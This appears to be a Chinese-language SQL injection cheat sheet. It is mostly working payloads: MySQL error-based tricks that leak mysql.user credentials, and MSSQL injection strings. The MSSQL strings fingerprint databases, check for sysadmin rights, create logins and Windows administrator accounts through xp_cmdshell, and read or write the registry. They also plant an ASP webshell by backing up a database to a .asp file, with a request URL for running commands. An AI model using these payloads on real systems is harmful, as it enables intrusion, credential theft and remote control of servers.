? ? mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610);
? ? ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select
`article`,`dealer`,`price` from (select `test`.`shop`.`article` AS
`article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from
`test`.`shop`) limit 1) > (select
`test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit
1)),18446744073709551610,18446744073709551610))'
獲取字段值:
? ? mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
? ? ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if(((select
'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','
Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','','','0','0','0','0','','' from dual limit 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
需要注意的是該方法并不適用于于老版的Mysql,除此之外你還需要了解錯誤信息的長度限制,因為這將決定
你可以獲取多長的信息:
? ? mysys / my_error.c
? ? /* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */
? ? #define ERRMSGSIZE (512)
如果對象是MariaDB(Mysql的一個分支),當你嘗試上面的方法時,你可能會看到這樣的報錯信息:
? ? mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610))
? ? ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select
#),18446744073709551610,18446744073709551610))'
作為解決方案,可以通過這種方式來解決這個問題:
? ? mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
? ? ERROR 1690 (22003): BIGINT value is out of range in '(('5.5-MariaDB' is not null) - -
(9223372036854775808))'
現在讓我們看看能不能讓我們的Vector更短一些
//查詢數據庫版本
? ? SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610))
? ? =
? ? select 1E308*if((select*from(select version())x),2,2)
? ? SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
? ? =
? ? select if(x,2,2)*1E308 from(select version()x)y
//獲取表字段名稱
? ? SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610)
? ? =
? ? select 1E308*if((select*from(select*from mysql.user)``limit 1)>(select*from mysql.user limit
1),2,2)
//獲取字段值
? ? SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610)
? ? =
? ? select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 1)<(select*from
mysql.user limit 0),2,2)
//獲取指定字段的值
? ? select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT
1)a limit 1),2,2)
//獲取字段個數
? ? select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
其它的一些變形
? ? SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
? ? select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT
1)a limit 1),2,2);
? ? =>
? ? select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0);
? ? mysql> select (select * from mysql.user)=1;
? ? mysql> select (select * from mysql.user)in(1);
? ? ERROR 1241 (21000): Operand should contain 42 column(s)
? ? select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0);
? ? select if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308
? ? SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
? ? select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
? ? mysql> select!x-~0.FROM(select+user()x)f;
? ? ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~
(0))'
3.判斷數據庫系統
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.注入參數是字符
'and [查詢條件] and ''='
5.搜索時沒過濾參數的
'and [查詢條件] and '%25'='
6.猜數據庫
;and (select Count(*) from [數據庫名])>0
7.猜字段
;and (select Count(字段名) from 數據庫名)>0
8.猜字段中記錄長度
;and (select top 1 len(字段名) from 數據庫名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 數據庫名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 數據庫名)>0
10.測試權限結構(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
11.添加mssql和系統的帳戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
12.(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
(2)遍歷目錄
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結構
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內容
13.mssql中的存儲過程
xp_regenumvalues 注冊表根鍵, 子鍵
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多
個記錄集方式返回所有鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','TestvalueName','reg_sz','hello' 寫入注冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','TestvalueName' 刪除某個值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,
包括該鍵下所有值
14.mssql的backup創建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oscrip{過濾}t %>');
backup database model to disk='c:\l.asp';
15.mssql內置函數
;and (select @@version)>0 獲得Windows的版本號
;and user_name()='dbo' 判斷當前系統的連接用戶是不是sa
;and (select user_name())>0 爆當前系統的連接用戶
;and (select db_name())>0 得到當前連接的數據庫
16.簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscrip{過濾}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>');
backup database model to disk='g:\wwwtest\l.asp';
請求的時候,像這樣子用:
http://ip/l.asp?c=dir
================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================
取得所有數據庫名 包括系統數據庫
–SELECT name FROM master.dbo.sysdatabases
–
取得所有非系統數據庫名
–select [name] from master.dbo.sysdatabases where DBId>6 Order By [Name]
–
取所有信息,包括數據庫文件地址
–select * from master.dbo.sysdatabases where DBId>6 Order By
[Name]
該條語句查詢返回所有的用戶表
select * from sysobjects where xtype='u'
查詢系統所有數據表信息
select * from sysobject
內容不全,分為下次發出來,見諒